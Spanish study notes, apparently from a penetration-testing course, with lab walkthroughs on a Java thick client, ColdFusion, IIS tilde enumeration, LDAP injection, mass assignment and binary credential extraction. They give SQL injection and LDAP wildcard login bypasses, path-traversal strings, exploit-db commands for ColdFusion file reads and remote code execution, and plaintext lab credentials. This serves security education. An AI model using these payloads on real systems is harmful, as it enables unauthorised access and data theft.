- Intentamos de nuevo las credenciales y obtenemos acceso
![[Pasted image 20260728203828.png]]
Punto de apoyo
Si le damos a Profile > Whoami vemos que somos qtc con rol de user
![[Pasted image 20260728203951.png]]
En ServerStatus no podemos usar ninguna opcion:
![[Pasted image 20260728204013.png]]
Si vamos a FileBrowser > Notes.txt se revela el archivo security.txt que al hacer open vemos lo siguiente:
![[Pasted image 20260728204129.png]]
En FiileBrowser > Mail > dave.txt > Open
![[Pasted image 20260728204208.png]]
Nos dice que todos los usuarios admin han sido eliminados de la BBDD debido a problemas de inyeccion SQL basados en tiempo
Salto de directorio
Vamos a probar un Path Traversal en FileBrowse y le damos a open:
![[Pasted image 20260728204842.png]]![[Pasted image 20260728204848.png]]
Vemos que el servidor filtra el / en la entrada
Vamos a decompilar la aplicacion con JD-GUI, arrastrando y soltando el .jar dentro
![[Pasted image 20260728204955.png]]
Guardamos el codigo fuente > Save All Sources en jdgui
Descomprimimos fatty-client-new.jar.src.zip con click derecho y Extract Files
El archivo fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java maneja las caracteristicas de la aplicacion:
- Vemos que la funcion showFiles toma como argumento el nombre de la carpeta y lo envia usando sendAndRecv()
![[Pasted image 20260728205137.png]]
El archivo fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java establece la opcion de carpeta:
![[Pasted image 20260728205302.png]]
Podemos cambiar el ClientGuiTest.this.currentFolder = “configs” y el showFiles(“configs”) por .. y nos mostrara el contenido de las carpeta anterior a configs
![[Pasted image 20260728205448.png]]
Compilamos el archivo ClientGuiTest.Java
javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
![[Pasted image 20260728205610.png]]
Esto crea varios archivos de clase. Creamos una carpeta donde extraigamos el contenido de fatty-client-new.jar
mkdir raw
cp fatty-client-new.jar raw\fatty-client-new-2.jar
![[Pasted image 20260728205727.png]]
Navega al directorio raw y descomprime fatty-client-new-2.jar (click derecho y seleccionando Extract Here). Sobre escribe los archivos htb/fatty/client/gui/*.class con los archivos actualizados
mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\
Construimos el nuevo jar:
cd raw
jar -cmf META-INF\MANIFEST.MF traverse.jar .
![[Pasted image 20260728205926.png]]
Iniciamos sesion y vamos a FileBrowser > Configs y vemos el contenido de los archivos de la carpeta anterior /configs/../:
![[Pasted image 20260728210017.png]]
Podemos modificar la funcion open en fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java para descargar el archivo fatty-server.jar
![[Pasted image 20260728210441.png]]
String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar"; FileOutputStream fos = new FileOutputStream(desktopPath);
Reconstruye el archivo JAR siguiendo los mismos pasos e inicia sesion de nuevo en la aplicacion. File Browser > Config ponemos fatty-server.jar y le damos a Open
![[Pasted image 20260728210538.png]]
Se descargara el archivo
![[Pasted image 20260728210549.png]]
Inyeccion SQL
Al decompilar fatty-server.jar con JD-GUI revelo el archivo htb/fatty/server/database/FattyDbSession.class que contiene checkLogin() que maneja la funcionalidad de login
Esta funcion recupera detalles del usuario basandose en el nombre de usuario proporcionado y luego compara la contraseña recuperada con la proporcionada:
![[Pasted image 20260728211618.png]]
Vemos que la aplicacion envia las credenciales al servidor. El boton de incio de sesion crea el nuevo objeto ClientGuiTest.this.user para la clase User. Luego llama a las funciones setUsername() y setPassword() con los respectivos valores de nombre de usuario y contraseña. Los valores que devuelven estas funciones se envían luego al servidor
![[Pasted image 20260728211718.png]]
Verifiquemos las funciones setUsername() y setPassword() de htb/fatty/shared/resources/user.java
![[Pasted image 20260728211736.png]]
El nombre de usuario se acepta sin modificación, pero la contraseña se cambia al siguiente formato
![[Pasted image 20260728211758.png]]
También notamos que el nombre de usuario no se sanea y se usa directamente en la consulta SQL, lo que lo hace vulnerable a la inyección SQL
![[Pasted image 20260728211821.png]]
La función checkLogin en htb/fatty/server/database/FattyDbSession.class escribe la excepción SQL en un archivo de registro
![[Pasted image 20260728211847.png]]
Iniciar sesión en la aplicación usando el nombre de usuario qtc' para validar la vulnerabilidad de inyección SQL revela un error de sintaxis. Para ver el error, necesitamos editar el código en el archivo fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java de la siguiente manera.
![[Pasted image 20260728211915.png]]
Listar el contenido del archivo error-log.txt revela el siguiente mensaje
![[Pasted image 20260728211934.png]]
Esto confirma que el campo de nombre de usuario es vulnerable a la inyección SQL. Sin embargo, los intentos de inicio de sesión utilizando payloads como ' or '1'='1 en ambos campos fallan. Asumiendo que el nombre de usuario en el formulario de inicio de sesión es ' or '1'='1, el servidor procesará el nombre de usuario de la siguiente manera
![[Pasted image 20260728212008.png]]
La consulta anterior tiene éxito y devuelve el primer registro de la base de datos. El servidor luego crea un nuevo objeto de usuario con los resultados obtenidos
![[Pasted image 20260728212032.png]]
Luego compara la contraseña del usuario recién creado con la contraseña proporcionada por el usuario.
![[Pasted image 20260728212047.png]]
Luego, la función newUser.getPassword() produce el siguiente valor
![[Pasted image 20260728212059.png]]
El hash de la contraseña proporcionada por el usuario user.getPassword() se calcula de la siguiente manera.
![[Pasted image 20260728212122.png]]
Aunque el hash enviado al servidor por el cliente no coincide con el de la base de datos, y la comparación de contraseñas falla, la inyección SQL todavía es posible usando consultas UNION. Consideremos el siguiente ejemplo.
![[Pasted image 20260728212149.png]]
Es posible crear entradas falsas usando el operador SELECT. Ingresemos un nombre de usuario no válido para crear una nueva entrada de usuario.
![[Pasted image 20260728212204.png]]
De manera similar, la inyección en el campo username se puede aprovechar para crear una entrada de usuario falsa.
![[Pasted image 20260728212222.png]]
De esta manera, la contraseña y el rol asignado pueden ser controlados. El siguiente fragmento de código envía la contraseña en texto plano ingresada en el formulario. Modifiquemos el código en htb/fatty/shared/resources/User.java para enviar la contraseña tal como está desde la aplicación cliente.
![[Pasted image 20260728212250.png]]
Ahora podemos reconstruir el archivo JAR e intentar iniciar sesión usando el payload abc' UNION SELECT 1,'abc','[email protected]','abc','admin en el campo username y el texto aleatorio abc en el campo password.
![[Pasted image 20260728212315.png]]
El servidor finalmente procesará la siguiente consulta
![[Pasted image 20260728212329.png]]
La primera consulta select falla, mientras que la segunda devuelve resultados de usuario válidos con el rol admin y la contraseña abc. La contraseña enviada al servidor también es abc, lo que resulta en una comparación de contraseñas exitosa, y la aplicación nos permite iniciar sesión como el usuario admin.
![[Pasted image 20260728212354.png]]
Ejemplo practico
CREDENCIALES RDP–> cybervaca:&aue%C)}6g-d{w
Cual es el IP addres de eth0 usando ServerStatus > Ipconfig de la aplicacion fatty-client
![[Pasted image 20260728225119.png]]
![[Pasted image 20260728230129.png]]
![[Pasted image 20260728230111.png]]
- El servidor corre en el 1337 en vez de en el 8000
- La aplicacion necesita ser acutalizada para usar el nuevo puerto
- La aplicacion depende de Java8
- Las credenciales para inciar sesion en la aplicacion son –> qtc:clarabibi
![[Pasted image 20260728225816.png]]![[Pasted image 20260728225859.png]]
qtc / clarabibi
![[Pasted image 20260728225946.png]]![[Pasted image 20260728225954.png]]
![[Pasted image 20260728230527.png]]
![[Pasted image 20260728230557.png]]
![[Pasted image 20260728230418.png]]
Extract to
![[Pasted image 20260728230613.png]]
![[Pasted image 20260728230758.png]]![[Pasted image 20260728230807.png]]
![[Pasted image 20260728231101.png]]![[Pasted image 20260728231133.png]]
![[Pasted image 20260728231204.png]]![[Pasted image 20260728231253.png]]![[Pasted image 20260728231327.png]]
clarabibiclarabibiclarabibi
![[Pasted image 20260728231544.png]]![[Pasted image 20260728231601.png]]
qtc / clarabibi
![[Pasted image 20260728231639.png]]
No funciona por los hashes
![[Pasted image 20260728231715.png]]![[Pasted image 20260728231930.png]]
![[Pasted image 20260728231917.png]]![[Pasted image 20260728231959.png]]![[Pasted image 20260728232014.png]]
Tiene que tener una linea nueva
![[Pasted image 20260728232037.png]]![[Pasted image 20260728232048.png]]
![[Pasted image 20260728232105.png]]![[Pasted image 20260728232116.png]]
![[Pasted image 20260728232139.png]]![[Pasted image 20260728232150.png]]
qtc / clarabibi
![[Pasted image 20260728232345.png]]
![[Pasted image 20260728232406.png]]![[Pasted image 20260728232413.png]]
![[Pasted image 20260728232426.png]]
Configs
![[Pasted image 20260728232439.png]]![[Pasted image 20260728232459.png]]
Notes:
![[Pasted image 20260728232545.png]]![[Pasted image 20260728232558.png]]
Dice que se ven problemas criticos
Mail
![[Pasted image 20260728232726.png]]
![[Pasted image 20260728232715.png]]
Tratamos el file traversal
Configs
![[Pasted image 20260728232919.png]]
![[Pasted image 20260728232931.png]]
Escapa los /
![[Pasted image 20260728233015.png]]
![[Pasted image 20260728233041.png]]![[Pasted image 20260728233051.png]]
![[Pasted image 20260728233126.png]]![[Pasted image 20260728233143.png]]
![[Pasted image 20260728233156.png]]
![[Pasted image 20260728233233.png]]![[Pasted image 20260728233248.png]]
![[Pasted image 20260728233608.png]]![[Pasted image 20260728233705.png]]
Coinciden en ClientGuiTest por lo que ahi debe estar el gestionador de carpetas
![[Pasted image 20260728233759.png]]![[Pasted image 20260728233955.png]]
Se crea un listener en el boton configs que al darle se ejecuta una accion
No devuelve ningun string de respuesta pero establece la variable currentFolder a configs
Intenta crear una variable respuesta que muestre los archivos de configs
Si falla en conseguir el archivo salta una Exeception personalizada manda un error por el catch
Si no hay conexion con el servidor manda otro error recogido por la Excepcion
Muestra en el panel la variable response que es los archivos de configs
![[Pasted image 20260728234621.png]]
![[Pasted image 20260728234631.png]]
![[Pasted image 20260728235233.png]]![[Pasted image 20260728235355.png]]
Extract Here
![[Pasted image 20260728235412.png]]![[Pasted image 20260728235431.png]]
![[Pasted image 20260728235454.png]]
![[Pasted image 20260728235519.png]]![[Pasted image 20260728235542.png]]
qtc / clarabibi
![[Pasted image 20260728235646.png]]![[Pasted image 20260728235710.png]]
![[Pasted image 20260728235814.png]]
Si lo quisieramos descargar:
![[Pasted image 20260729000122.png]]
![[Pasted image 20260729000134.png]]
![[Pasted image 20260729000204.png]]
![[Pasted image 20260729000234.png]]
![[Pasted image 20260729002059.png]]
![[Pasted image 20260729111920.png]]
![[Pasted image 20260729112514.png]]
![[Pasted image 20260729112602.png]]![[Pasted image 20260729000545.png]]
Extract Here
![[Pasted image 20260729000612.png]]
![[Pasted image 20260729113006.png]]
![[Pasted image 20260729113238.png]]
![[Pasted image 20260729112730.png]]![[Pasted image 20260729000710.png]]
qtc / clarabibi
![[Pasted image 20260729000740.png]]![[Pasted image 20260729000802.png]]
![[Pasted image 20260729113326.png]]
Inyeccion
![[Pasted image 20260729120529.png]]![[Pasted image 20260729120552.png]]
![[Pasted image 20260729120624.png]]![[Pasted image 20260729120635.png]]
Vemos que declara una variable hashString que sea la union de “username + pass + clarabibimakeserverythingsecure”
Lo pasa a UTF8 > SHA256 > Hexadecimal
![[Pasted image 20260729122404.png]]
![[Pasted image 20260729121314.png]]
![[Pasted image 20260729122524.png]]
![[Pasted image 20260729121504.png]]
Entonces con esto podemos suponer:
SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'
Con qtc:
SELECT id,username,email,password,role FROM users WHERE username='qtc'
Vamos a probocar un error SQL y queremos ver los logs para comprobar si es vuln a sql o no:
El metodo open debe estar como el original para poder ver por pantalla si hay fallos
El currentFolder de Invoker() le ponemos ../logs
Para mayor claridad he empezado de 0 por lo que en beam.xml ponemos 1337 en vez de 8000 y creamos en META-INF un nuevo MANIFEST.MF con solo la cabecera y borramos RSA Y SF
![[Pasted image 20260729123356.png]]![[Pasted image 20260729123421.png]]
![[Pasted image 20260729123500.png]]![[Pasted image 20260729123607.png]]
![[Pasted image 20260729123636.png]]
![[Pasted image 20260729125417.png]]
![[Pasted image 20260729123931.png]]
![[Pasted image 20260729123948.png]]![[Pasted image 20260729123958.png]]![[Pasted image 20260729124044.png]]
![[Pasted image 20260729124054.png]]
qtc / clarabibi
![[Pasted image 20260729125641.png]]![[Pasted image 20260729125652.png]]
![[Pasted image 20260729125722.png]]
Al darle a login pone login failed
![[Pasted image 20260729125737.png]]![[Pasted image 20260729125815.png]]
Como vemos aqui nos esta dando la respuesta de username, por lo que suponemos que hace dos consultas, una para username y otra para password
Esta dando un error en la clase FattyLogger.java por poner username=‘qtc’‘’
Se me ha acabado el tiempo, pero lo que deberiamso hacer es una vez que ya sabemos que podemos hacer SQLi a la primera consulta del username:
Si hiciesemos ' OR '1'='1 supera la primera, pero no la segunda
Esto pasa porque coge para verificar el hash como hemos visto antes user + pass + clarabibimakeserverythingsecure en nuestro caso seria ''' OR '1'='1' + pass + clarabibimakeserverythingsecure y da error
Lo que vamos a hacer es insertar una linea usando la entrada de username y UNION SELECT + CAMPOS NECESARIOS, pero para que el campo password no nos de error debido a passinventada == SHA256 calculado --> nos da error porque no es igual, modificamos el codigo de getPassword para que no haga el calculo y en el constructor de User
![[Pasted image 20260729132609.png]]
![[Pasted image 20260729132615.png]]
Como vimos hay 3 tipos de user roles: admin, user y anonymous
![[Pasted image 20260729132653.png]]
Creamos el payload que pondremos en el campo username para insertar una fila con un valor personalizado de cada uno de los campos que se esperan:
id,username,email,password,role
Username –> abc’ UNION SELECT 1,’abc’,’[email protected]’,’abc’,’admin
Pass –> abc
La comprobacion que hara se ahora en la segunda consulta tras eliminar el cambio que hacia a sha256 uniendo los elementos sera abc (insertado en la nueva linea gracias a UNION SELECT) == abc (pasado en el campo password)
Nos abremos logueado como admin y podremos ejecutar ServerStatus -> Ipconfig
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 1. Coldfusion
1. Coldfusion Descubrimiento Y Enumeracion
ColdFusion es un lenguaje de programación y una plataforma de desarrollo de aplicaciones web basada en Java
Se utiliza para construir aplicaciones web dinámicas e interactivas que pueden conectarse a diversas API y bases de datos como MySQL, Oracle y Microsoft SQL Server
Tiene una sintaxis similar a HTML. Incluye etiquetas y funciones para la integración de bases de datos, servicios web, gestión de correo electrónico y otras tareas
Por ejemplo, la etiqueta cfquery puede ejecutar sentencias SQL para recuperar datos de una base de datos:
![[Pasted image 20260729145725.png]]
cfloop para iterar sobre los registros recuperados de la base de datos::
![[Pasted image 20260729145749.png]]
Ofrece soporte para correo electrónico, manipulación de PDF, gráficos y otras características
Puertos de coldfusion
![[Pasted image 20260729145921.png]]
Enumeracion
- Por enumeracion de puertos
- Por extension de archivos .cfm o .cfc
- Por cabeceras de solicitudes HTTP en
Server: ColdFusion o X-Powered-By: Coldfusion
- Mensajes de error que pueden tener referencias a coldfusion
- Archivos por defecto como
admin.cfm o CFIDE/administrator/index.cfm
- Escaneo de puertos:
![[Pasted image 20260729150015.png]]
Vemos el puerto 8500 que es uno de los puertos por defecto de ColdFusion
![[Pasted image 20260729150056.png]]
![[Pasted image 20260729150109.png]]
Vemos archivos .cfm y alguno de error:
![[Pasted image 20260729150349.png]]
La pagina /CFIDE/administrator carga un panel de login de administrador de ColdFusion 8:
![[Pasted image 20260729150438.png]]
Ejemplo practico
Que protocolo corre ColdFusion en el puerto 5500
![[Pasted image 20260729150616.png]]
Vamos tambien a enumerar y mirar un poco la estrucutara del host que esta expuesta a internet
![[Pasted image 20260729150735.png]]
![[Pasted image 20260729150759.png]]![[Pasted image 20260729150821.png]]
![[Pasted image 20260729150853.png]]
![[Pasted image 20260729151041.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 1. Coldfusion
2. Atacando Coldfusion
Ahora que sabemos que es ColdFusion 8 podemos buscar exploits conocidos con searchsploit
searchsploit adobe coldfusion
![[Pasted image 20260729151159.png]]
Para la version 8 encontramos tanto un Salto de directorio como una RCE
Salto de directorio/ Path traversal
Nos permite acceder a archivos y y salir fuera del directorio previsto por la aplicacion explotando la falta de validacion de entradas en una aplicacion web y puede ejecutarse a traves de varios campos de entrada de usuario (parametros GET, campos de form, cookies…)
Al manipularlos podemos recorrer la estructura de directorios y acceder a archivos sensibles
Este ataque manipula los parametros de entrada de las etiquetas CFFile y CFDIRECTORY que se usan para operaciones de archivos y directorios
![[Pasted image 20260729152300.png]]
Vemos que en este fragmento la etiqueta cfdirectory lista el contenido del directorio uploads
La etiqueta cfloop se usa para iterar los resultados de la consulta y motstrar los nombres de archivos en los enlaces clicables
El problema esta en que el parametro directory en cfdirectory que se encaga de listar los contenido del uploads/ no valida ni sanetiza su entrada por lo que podriamos ponerL
?directory=../../../etc&file=passwd
Quedando –> /uploads/../../../etc/passwd
La vuln CVE-2010-2861 encontrada en searchsploit se puede explotar sobre los siguientes directorios vulnerables de la version 9.0.1 a versiones anteriores:
CFIDE/administrator/settings/mappings.cfm
logging/settings.cfm
datasources/index.cfm
j2eepackaging/editarchive.cfm
CFIDE/administrator/enter.cfm
La vulnerabilidad explota el paremtro GET locale:
![[Pasted image 20260729152919.png]]
Es probable que el paremetro locale=en hace que se muestre el archivo en ingles de mappins.cfm localizado en alguna parte del webroot. Si ponemos ../ podemos explotarlo:
![[Pasted image 20260729153043.png]]
Vamos a usar el exploit de MSF:
searchsploit -p 14641
![[Pasted image 20260729153120.png]]
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
python2 14641.py
![[Pasted image 20260729153145.png]]
password.properties es un archivo de ColdFusion que alamcena credenciales cifradas de varios servicios usados por ColdFusion en una lista k:v
Se usan para conexiones a BBDD, servidores de correo, servidores LDAP...
Suele estar en /lib/
python2 14641.py IP PUERTO "../../../../../../../../ColdFusion8/lib/password.properties"
![[Pasted image 20260729153407.png]]
RCE no autenticado
Nos permite ejecutar codigo arbitrario en un sistema vulnerable sin necesidad de autenticacion
En el contexto de ColdFusion este ataque puede ocurrir cuando una aplicacion web permite la ejecucion de codigo a traves de una caracteristica o funcion que no requiere autenticacion (ejemplos, consola de depuracion, funcionalidad de carga de archivos…):
![[Pasted image 20260729153727.png]]
Como vemos en el codigo cmd sera la concatenacion de:
/c + comando(en parametro cgi.query_string)
Este comando sera ejecutado por cfexecute usando una cmd y no se valida bien la entrada de cmd antes de ejecutarse
Ejemplo:
![[Pasted image 20260729154011.png]]
Como vemos usa ; al principio de la consulta para ejecutar multiples comandos
La vuln encontrada en searchsploit CVE-2009-2265 afecto a la version 8.0.1 y anteriores permitiendo de forma no autenticada cargar archivos y obtener ejecucion remota de comandos:
![[Pasted image 20260729154228.png]]
Lo copiamos en el directorio de trabajo:
searchsploit -p 50057
![[Pasted image 20260729154306.png]]
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
![[Pasted image 20260729154321.png]]
Corregimos el contenido del exploit con nuestros datos:
![[Pasted image 20260729154350.png]]
Lo explotamos:
python3 50057.py
![[Pasted image 20260729154408.png]]![[Pasted image 20260729154419.png]]
Ejemplo practico
Cual es el usuario que esta usando ColdFusion
- Buscamos el exploit para adobe Coldfusion y lo copiamos en el directorio actual
![[Pasted image 20260729154639.png]]
![[Pasted image 20260729154723.png]]
- Modificamos el contenido, lo ejecutamos y obtenemos la shell
![[Pasted image 20260729154828.png]]![[Pasted image 20260729154901.png]]
![[Pasted image 20260729154922.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 2. Iis Tilde
1. Iis Tilde Enumeration
Es una tecnica usada para descubrir archivos, directorios y nombres de archivos ocultos conocidos como formato 8.3 aprovechando una vulnerabilidad de IIS
Cuando se crea un archivo o carpeta en IIS se genera un nombre archivo en formato 8.3 o corto que consta de 8 caracteres que dan acceso a sus archivos o carpetas originales correspondientes
~NUMEROS_8CARACTERES = FORMATO 8.3
Explicacion enumeracion
La enumeracion se basa en el envio de solicitudes HTTP con distintas combinaciones de caracteres para identificar nombres cortos validos para poder acceder a los recursos
![[Pasted image 20260730110054.png]]
Imaginemos que un directorio oculto se llama SecretDocument cuyo nombre corto es ~secret~1 si acierta la S dara un 200OK y continuara por el siguiente caracter:
![[Pasted image 20260730110208.png]]
![[Pasted image 20260730110217.png]]
Ira consiguiendo 200OK siguiendo con el siguiente caracter hasta completar secret~1
Dentro de este directorio se pueden acceder a los archivos:
![[Pasted image 20260730110403.png]]
La misma tecnica que con los directorios se aplica a los archivos
![[Pasted image 20260730110428.png]]
Enumeracion
- Identificamos los puertos y servicios abiertos:
![[Pasted image 20260730110513.png]]
IIS 7.5 se está ejecutando en el puerto 80
- Enumeracion de tilde con IIS ShortName Scanner
IIS-ShortName-Scanner: herramienta para enviar solicitudes HTTP para cada letra esperando un 200OK
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
![[Pasted image 20260730110648.png]]
Se descubren 2 directorios y 3 archivos
El problema esta en que no nos permite acceder mediante GET a http://10.129.204.231/TRANSF~1.ASP por lo que tendremos que hacer fuerza bruta para el resto del archivo
- Generamos una wordlist de palabras que empiecen por transf
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
- egrep -r ^transf: egrep busca linea que contengan el patron que comience por trans. -r hace una busqueda recursiva
- sed ‘s/^[^:]*://’: busca cualquier sentencia de caracteres al principio de la linea hasta que haya : y los reemplace por nada haciendo que sean lineas que empiecen por trans
- Enumeramos con gobuster
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
![[Pasted image 20260730111249.png]]
Ejemplo practico
Cual es el nombre completo del archivo .aspx identificado con gobuster
- Hacemos una enumeracion de puertos y servicios. Encontramos el servicio IIS por el puerto 80
![[Pasted image 20260730111624.png]]
- Descargamos y usamos iis_shortname_scanner.jar que identifica varios directorios y archivos. Al intentar abrir TRANS~1.ASP (nos fijamos en este por que nos piden un .aspx) nos da error por lo que probaremos fuerza bruta
![[Pasted image 20260730111510.png]]
![[Pasted image 20260730111724.png]]
- Creamos una wordlist de palabras que empiecen en trans. Usamos gobuster para hacer fuerza bruta de archivos y encontramos el recurso que nos permite acceder
![[Pasted image 20260730111915.png]]
![[Pasted image 20260730112043.png]]![[Pasted image 20260730112059.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 3. LDAP
1. LDAP
LDAP es un protocolo usado para acceder y gestionar informacion de directorios que contienen informacion de recursos de red como usuarios, grupos, ordenadores, impresoras…
Se usa comunmente para proporcionar una ubicacion central para acceder y gestionar servicios de directorio permitiendo almacenar, gestionar y proteger esta informacion de forma estandarizada
2 implementaciones de LDAP:
- OpenLDAP: open source
- Microsoft AD: implementacion basada en Windows
Aunque LDAP y AD estan relacionados sirven para cosas diferentes:
- LDAP: protocolo que especifica el metodo para acceder y modificar servicios de directorio
- AD: servicio de directorio que almacena y gestiona datos de usuarios y ordenadores que ofrece ademas funcionalidades de politicas, inicios de sesion e integracion con diversos productos de Microsoft
Funcionamiento LDAP cliente-servidor:
- Un cliente envia una solicitud LDAP a un servidor
- Este busca en el AD y devuelve una respuesta al cliente
Componentes de una solicitud:
- Conexion de sesion: puertos 389 o 636
- Tipo de solicitud: operacion del cliente
- Parametros de la solicitud: informacion para la solicitud como nombre distinguido
- ID de la solicitud
Componentes respuesta:
- Tipo de respuesta: indica la operacion que se realizo
- Codigo de resultado: si tuvo exito o no
- DN coincidiente: devuelve el DN de la entrada
- Referencia: una URL de otro servidor que puede tener mas info sobre la solicitud
- Datos de la respuesta
Ldapsearch
Utilidad que se usa para buscar informacion almacenada en un directorio mediante el protocolo LDAP:
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "([email protected])"
- Se conecta a ldap.example.com por el puerto 389
- Se autentica como (cn=admin, en el dominio dc=exameple dc=com) con la contraseña secret123
- Busca bajo el DN ou=people en el dominio dc=example dc=com
- Usa el filtro
[email protected] para encontrar la entrada con esa direccion
Respuesta:
![[Pasted image 20260730113947.png]]
Inyeccion LDAP
Es un ataque que explota aplicaciones que usan LDAP para la autenticacion o almacenamiento de informacion
Inyectamos codigo o caracteres en las consultas LDAP para alterar el comportamiento de la aplicacion, eludir las medidas de seguridad y acceder a datos sensibles
![[Pasted image 20260730114146.png]]
Supongamos esto:
![[Pasted image 20260730114226.png]]
En esta consulta $username y $password contendrian los campos de usuario y contraseña para la autenticacion. Podemos usar * en alguno de los campos para eludir la autenticacion
![[Pasted image 20260730114354.png]]
En este ejemplo la consulta coincide con cualquier usuario que tenga la contraseña dummy
![[Pasted image 20260730114455.png]]
Este otro la consulta coincide con la cuenta dummy usando cualquier contraseña obteniendo acceso a la aplicacion con cualquier caracter
Enumeracion
Con nmap:
![[Pasted image 20260730114640.png]]
nmap detecta un servidor http ejecutándose en el puerto 80 y un servidor ldap ejecutándose en el puerto 389
Como OpenLDAP se ejecuta en el servidor, es seguro asumir que la aplicación web que se ejecuta en el puerto 80 utiliza LDAP para la autenticación
Intentar iniciar sesión utilizando un carácter comodín (*) en los campos de nombre de usuario y contraseña concede acceso al sistema
Ejemplo practico
Tras bypassear el login, cual es el Powered by del sitio web
- Enumeramos con nmap los puertos y servicios y vemos un OpenLDAP con un servicio web. Podemos suponer que si hay algun tipo de autenticacion se hara a traves de LDAP
![[Pasted image 20260730115030.png]]
- Al entrar al sitio web vemos un panel de autenticacion. Suponiendo que la consulta use los parametros username y password, ponemos en ambos
* sugiriendo que cualquier username y password
![[Pasted image 20260730115021.png]]
![[Pasted image 20260730115045.png]]
- Conseguimos entrar y ver el Powered by
![[Pasted image 20260730115055.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 4. Asignacion Masiva Vuln
1. Vulnerabilidad WEB De Asignacion Masiva
Las funciones de asignacion masiva sirven para disminuir la carga de trabajo de los desarrolladores. Debido a esto los programadores pueden insertar directamente un conjunto completo de datos introducidos por el usuario desde un formulario en un objeto o base de datos
Se suele usar sin una whitelist para proteger los campos de entrada del usuario permitiendo aprovecharlo para robar informacion sensible o destruir datos
Se modifican los atributos del modelo de una aplicacion a traves de los parametros enviados al servidor
Mediante ingenieria inversa del codigo, se pueden ver estos parametros y asignar valores a parametros ciriticos no protegidos durante la solcitud HTTP
Ruby on Rails es una aplicacion web vulnerable a esto:
![[Pasted image 20260730120316.png]]
Este modelo especifica que solo los atributos username e email pueden ser asignados masivamente. Podemos modificar OTROS atributos manipulando los parametros enviados al servidor:
![[Pasted image 20260730120411.png]]
Como vemos admin no declara que sea accesible, podemos cambiarlo ya que esta dentro de los argumentos de user y omitir cualquier tipo de control de acceso que pueda existir enviando estos datos como parte de una peticion POST
Explotacion de la vulnerabilidad de asignacion masiva
Supongamos que tenemos la siguiente aplicacion web y nos dan el codigo fuente
- Completamos el campo de registro (Success!!) y podemos intentar iniciar sesion. Tras intentar iniciar sesion vemos que nos pone que el account esta pendiente de aprobarse:
![[Pasted image 20260730120803.png]]
- Revisando el codigo python del archivo
/opt/asset-manager/app.py revela:
![[Pasted image 20260730120911.png]]
Vemos que se comprueba si el valor K esta establecido, y si es asi nos permite loguearnos
- Revisando el siguiente codigo:
![[Pasted image 20260730121053.png]]
Vemos que si en el request del form esta el parametro confirmed la variable cond=True y nos permite saltarnos el paso de comprobacion por el admin
Si tratamos de registrar otro usuario y capturamos la solicitud del POST veremos los parametros en el data. Asignaremos el parametro &confirmed=VALOR_ALEATORIO para que vea que esta el parametro confirmed en el request:
![[Pasted image 20260730121313.png]]
Ahora intentamos iniciar sesion con este usuario y nos saltamos la aprobacion:
![[Pasted image 20260730121450.png]]
Prevencion
![[Pasted image 20260730121604.png]]
En este ejemplo user_params solo atiende a los parametros username e email ignorando otra entrada que el cliente pueda haber enviado haciendo que solo los parametros permitidos sean posiblemente modificados por nosotros
Ejemplo practico
Hemos dejado el codigo fuente de la aplicacion en /opt/asset-manager/app.py
Se han cambiado el nombre de los parametros curciales
Conectate via ssh para ver el codigo fuente y envia el nombre del parametro necesario para manipular el login
CREDENCIALES –> root:!x4;EW[ZLwmDx?=w
- Nos conectamos via ssh y miramos el codigo fuente
![[Pasted image 20260730122034.png]]
![[Pasted image 20260730122116.png]]
- Mirando el codigo fuente vimos que el parametro es active
- En el /login vemos que acepta metodos GET y POST. Si es GET devuelve de nuevo el login.html y si es POST vemos que recoge el username y password y tras esto se conecta a la base de datos. Si el parametro k esta en la peticion establece el user como i y devuelve el /home, si no devuelve que esta pendiente de aprobacion
![[Pasted image 20260730122235.png]]
- Mirando el register vemos que tambien acepta 2 metodos GET y POST y si es GET vueleve a mostrar el index.html. Si es POST coge el username y password. Si active esta en el request, cond=true y se conecta a la base de datos y mira si existe y si no le da Success!!
![[Pasted image 20260730122329.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 5. Aplicaciones Que Se Conectan A Servicios
1. Atacando Aplicaciones Que Se Conectan A Servicios
Las aplicaciones que se conectan a servicios suelen tener codigo de conexion que pueden filtrarse si no estan protegidas y pueden contener credenciales para permitirnos movernos lateralmente
Evaluacion de un ejecutable ELF
El binarion elf octopus_checker se encuentra en una maquina remota durante la prueba. Al ejecutarlo localmente revela que se conecta a instancias de BBDD para verificar que esten disponibles
![[Pasted image 20260730124201.png]]
Probablemente se conecta usando una cadena de conexion SQL que contiene credenciales
Usando herramientas como PEDA (gbd) podemos examinar el archivo mas a fondo (sirve para programas en C y C++)
Permite recorrer el codigo paso a paso, establecer puntos de interrupcion (breakpoints) y cambiar variables en ese punto
![[Pasted image 20260730124417.png]]
Una vez que esta cargado, establecemos el disassemby-flavor (define el estilo de la visualizacion del codigo). Despues desamblamos la funcion principal main:
set disassembly-flavor intel
disas main
![[Pasted image 20260730124628.png]]
Vemos cadenas call que apuntan a registros que contienen cadenas de texto. Estas no estan en orden y el endianness (define el orden en el que se leen los bytes dependiendo de la arquitectura) implica que la cadena de texto esta invertida
